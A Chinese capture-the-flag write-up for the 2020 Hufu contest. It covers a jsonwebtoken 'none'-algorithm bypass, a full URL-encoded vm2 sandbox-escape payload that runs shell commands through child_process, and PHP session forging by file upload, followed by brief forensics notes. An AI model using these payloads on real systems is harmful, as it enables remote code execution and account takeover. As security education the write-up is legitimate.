2020 虎符线上赛 Write Up
# 虎符
# Web1
利用点:
jsonwebtoken库缺陷当用户传入
jwt secret为空时jsonwebtoken会采用algorithm none进行解密
/package.json 显示使用了koa
koa.session中有用户名信息，存在签名验证
app.js中有注释
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置？不管了先填个根目录XD
*/
function login() {
const username = $("#username").val();
const password = $("#password").val();
const token = sessionStorage.getItem("token");
$.post("/api/login", {username, password, authorization:token})
.done(function(data) {
const {status} = data;
if(status) {
document.location = "/home";
}
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
function register() {
const username = $("#username").val();
const password = $("#password").val();
$.post("/api/register", {username, password})
.done(function(data) {
const { token } = data;
sessionStorage.setItem('token', token);
document.location = "/login";
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
function logout() {
$.get('/api/logout').done(function(data) {
const {status} = data;
if(status) {
document.location = '/login';
}
});
}
function getflag() {
$.get('/api/flag').done(function(data) {
const {flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
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注释提示了/controllers/api.js源码泄露
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});//应该是algorithms
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];//令sid为不存在值使得secret=none
const user = jwt.verify(token, secret, {algorithm: 'HS256'});//如果token中的加密方法为空那么{algorithm: 'HS256'}不生效
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};
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# Web2
nodejs的rce fuzz方法
Object.getOwnPropertyNames(this) 得到依赖包名
Error().stack 抛出栈错误
这里是vm2的一个逃逸payload，然而当时并不知道urlencode和数组可以绕过。。。。
随便到github上找个payload
http://14e25396-8547-4c6c-8a05-b28adf35624b.node3.buuoj.cn/run.php?code[]=try%20{%20require(%27child_process%27).execSync(%22idea%22)%20}%20catch(e){}let%20buffer%20=%20{hexSlice:%20()%20=%3E%20%22%22,magic:%20{get%20[Symbol.for(%22nodejs.util.inspect.custom%22)](){throw%20f%20=%3E%20f.constructor(%22return%20process%22)();}}};try{Buffer.prototype.inspect.call(buffer,%200,%20{%20customInspect:%20true%20});}catch(e){e(()=%3E0).mainModule.require(%27child_process%27).execSync(%22cat%20/flag%22)}
1
# Web3
直接给了源码
<?php
error_reporting(0);
session_save_path("/var/babyctf/"); //更换session存储路径
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;//attr可控，意味着可以读写根目录下的session
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];//这里路径可控
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>
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拿到session内容
usernames:5:"guest";
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然后就可以根据格式伪造session了
可以判断这里采用的php序列化器是php_binary
生成一个
<?php
ini_set('session.serialize_handler', 'php_binary');
session_save_path(".");
session_start();
$_SESSION['username'] = 'admin';
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然后得到这个session的文件名
php -r "echo hash_file('sha256', 'sess');"
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sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
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使用这个session然后创建一个/success.txt/目录就行
file_exists ( string $filename ) : bool 检查文件或目录是否存在。
PS:Postman真好用
# Misc1
用取证大师可以看到邮件来往记录，然后根据浏览器记录可以看出前部分使用了codemoji,最后提示了realname，比赛的时候一直没找到，最后发现在手机数据的通讯录里
然后phpstudy的博客，和其他邮件的emojiaes key都可以解了
# 参考链接
https://www.zhaoj.in/read-6512.html
编辑 (opens new window)
上次更新: 2022/05/18, 16:49:51
